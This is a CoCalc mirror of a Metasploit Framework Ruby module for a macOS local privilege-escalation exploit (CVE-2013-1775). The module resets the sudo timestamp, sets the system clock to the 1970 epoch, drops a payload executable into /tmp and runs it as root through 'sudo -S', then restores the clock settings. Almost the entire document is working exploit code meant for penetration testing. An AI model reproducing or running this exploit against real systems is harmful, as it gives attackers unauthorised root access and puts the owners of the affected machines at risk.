CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/local/sudo_password_bypass.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'shellwords'
7
8
class MetasploitModule < Msf::Exploit::Local
9
10
# ManualRanking because it's going to modify system time
11
# Even when it will try to restore things, user should use
12
# it at his own risk
13
Rank = NormalRanking
14
15
include Msf::Post::File
16
include Msf::Post::OSX::Priv
17
include Msf::Exploit::EXE
18
include Msf::Exploit::FileDropper
19
20
SYSTEMSETUP_PATH = "/usr/sbin/systemsetup"
21
VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']]
22
CMD_TIMEOUT = 45
23
24
# saved clock config
25
attr_accessor :clock_changed, :date, :network_server, :networked, :time, :zone
26
27
def initialize(info = {})
28
super(update_info(info,
29
'Name' => 'Mac OS X Sudo Password Bypass',
30
'Description' => %q{
31
This module gains a session with root permissions on versions of OS X with
32
sudo binary vulnerable to CVE-2013-1775. Tested working on Mac OS 10.7-10.8.4,
33
and possibly lower versions.
34
35
If your session belongs to a user with Administrative Privileges
36
(the user is in the sudoers file and is in the "admin group"), and the
37
user has ever run the "sudo" command, it is possible to become the super
38
user by running `sudo -k` and then resetting the system clock to 01-01-1970.
39
40
This module will fail silently if the user is not an admin, if the user has never
41
run the sudo command, or if the admin has locked the Date/Time preferences.
42
43
Note: If the user has locked the Date/Time preferences, requests to overwrite
44
the system clock will be ignored, and the module will silently fail. However,
45
if the "Require an administrator password to access locked preferences" setting
46
is not enabled, the Date/Time preferences are often unlocked every time the admin
47
logs in, so you can install persistence and wait for a chance later.
48
},
49
'License' => MSF_LICENSE,
50
'Author' =>
51
[
52
'Todd C. Miller', # Vulnerability discovery
53
'joev', # Metasploit module
54
'juan vazquez' # testing/fixing module bugs
55
],
56
'References' =>
57
[
58
[ 'CVE', '2013-1775' ],
59
[ 'OSVDB', '90677' ],
60
[ 'BID', '58203' ],
61
[ 'URL', 'http://www.sudo.ws/sudo/alerts/epoch_ticket.html' ]
62
],
63
'Platform' => 'osx',
64
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],
65
'SessionTypes' => [ 'shell', 'meterpreter' ],
66
'Targets' => [
67
[ 'Mac OS X x86 (Native Payload)',
68
{
69
'Platform' => 'osx',
70
'Arch' => ARCH_X86
71
}
72
],
73
[ 'Mac OS X x64 (Native Payload)',
74
{
75
'Platform' => 'osx',
76
'Arch' => ARCH_X64
77
}
78
],
79
[ 'CMD',
80
{
81
'Platform' => 'unix',
82
'Arch' => ARCH_CMD
83
}
84
]
85
],
86
'DefaultTarget' => 0,
87
'DisclosureDate' => '2013-02-28'
88
))
89
register_advanced_options([
90
OptString.new('TMP_FILE',
91
[true,'For the native targets, specifies the path that '+
92
'the executable will be dropped on the client machine.',
93
'/tmp/.<random>/<random>']
94
),
95
])
96
end
97
98
# ensure target is vulnerable by checking sudo vn and checking
99
# user is in admin group.
100
def check
101
if cmd_exec("sudo -V") =~ /version\s+([^\s]*)\s*$/
102
sudo_vn = $1
103
sudo_vn_parts = sudo_vn.split(/[\.p]/).map(&:to_i)
104
# check vn between 1.6.0 through 1.7.10p6
105
# and 1.8.0 through 1.8.6p6
106
if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES)
107
vprint_error "sudo version #{sudo_vn} not vulnerable."
108
return CheckCode::Safe
109
end
110
else
111
vprint_error "sudo not detected on the system."
112
return CheckCode::Safe
113
end
114
115
# check that the user is in OSX's admin group, necessary to change sys clock
116
unless is_admin?
117
vprint_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)."
118
return CheckCode::Safe
119
end
120
121
# one root for you sir
122
CheckCode::Vulnerable
123
end
124
125
def exploit
126
if is_root?
127
fail_with Failure::BadConfig, 'Session already has root privileges'
128
end
129
130
unless is_admin?
131
fail_with Failure::NoAccess, "User is not in the 'admin' group, bailing."
132
end
133
134
if check != CheckCode::Vulnerable
135
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
136
end
137
138
# "remember" the current system time/date/network/zone
139
print_good("User is an admin, continuing...")
140
141
print_status("Saving system clock config...")
142
@time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1]
143
@date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1]
144
@networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/)
145
@zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1]
146
@network_server = if @networked
147
cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1]
148
end
149
150
run_sudo_cmd
151
end
152
153
def cleanup
154
if @clock_changed
155
print_status("Resetting system clock to original values") if @time
156
cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil?
157
cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil?
158
cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil?
159
if @networked
160
cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On")
161
unless @network_server.nil?
162
cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}")
163
end
164
end
165
print_good("Completed clock reset.")
166
else
167
print_status "Skipping cleanup since the clock was never changed"
168
end
169
170
super
171
end
172
173
private
174
175
def run_sudo_cmd
176
print_status("Resetting user's time stamp file and setting clock to the epoch")
177
cmd_exec(
178
"sudo -k; \n"+
179
"#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT"+
180
" -setdate 01:01:1970 -settime 00:00"
181
)
182
if not cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match("1/1/1970")
183
fail_with(Failure::NoAccess, "Date and time preference pane appears to be locked. By default, this pane is unlocked upon login.")
184
else
185
@clock_changed = true
186
end
187
188
# drop the payload (unless CMD)
189
if using_native_target?
190
cmd_exec("mkdir -p #{File.dirname(drop_path)}")
191
write_file(drop_path, generate_payload_exe)
192
register_files_for_cleanup(drop_path)
193
cmd_exec("chmod +x #{[drop_path].shelljoin}")
194
print_status("Payload dropped and registered for cleanup")
195
end
196
197
# Run Test
198
test = rand_text_alpha(4 + rand(4))
199
sudo_cmd_test = ['sudo', '-S', ["echo #{test}"].shelljoin].join(' ')
200
201
print_status("Testing that user has sudoed before...")
202
output = cmd_exec('echo "" | ' + sudo_cmd_test)
203
204
if output =~ /incorrect password attempts\s*$/i
205
fail_with(Failure::NotFound, "User has never run sudo, and is therefore not vulnerable. Bailing.")
206
elsif output =~ /#{test}/
207
print_good("Test executed succesfully. Running payload.")
208
else
209
print_error("Unknown fail while testing, trying to execute the payload anyway...")
210
end
211
212
# Run Payload
213
sudo_cmd_raw = if using_native_target?
214
['sudo', '-S', [drop_path].shelljoin].join(' ')
215
elsif using_cmd_target?
216
['sudo', '-S', '/bin/sh', '-c', [payload.encoded].shelljoin].join(' ')
217
end
218
219
## to prevent the password prompt from destroying session
220
## backgrounding the sudo payload in order to keep both sessions usable
221
sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & true'
222
223
print_status "Running command: "
224
print_line sudo_cmd
225
output = cmd_exec(sudo_cmd)
226
227
end
228
229
# default cmd_exec timeout to CMD_TIMEOUT constant
230
def cmd_exec(cmd, args=nil, timeout=CMD_TIMEOUT)
231
super
232
end
233
234
# helper methods for accessing datastore
235
def using_native_target?
236
target.name =~ /native/i
237
end
238
239
def using_cmd_target?
240
target.name =~ /cmd/i
241
end
242
243
def drop_path
244
@_drop_path ||= datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10) }
245
end
246
247
# helper methods for dealing with sudo's vn num
248
def parse_vn(vn_str)
249
vn_str.split(/[\.p]/).map(&:to_i)
250
end
251
252
def vn_bt(vn, ranges) # e.g. ('1.7.1', [['1.7.0', '1.7.6p44']])
253
vn_parts = parse_vn(vn)
254
ranges.any? do |range|
255
min_parts = parse_vn(range[0])
256
max_parts = parse_vn(range[1])
257
vn_parts.all? do |part|
258
min = min_parts.shift
259
max = max_parts.shift
260
(min.nil? or (not part.nil? and part >= min)) and
261
(part.nil? or (not max.nil? and part <= max))
262
end
263
end
264
end
265
end
266
267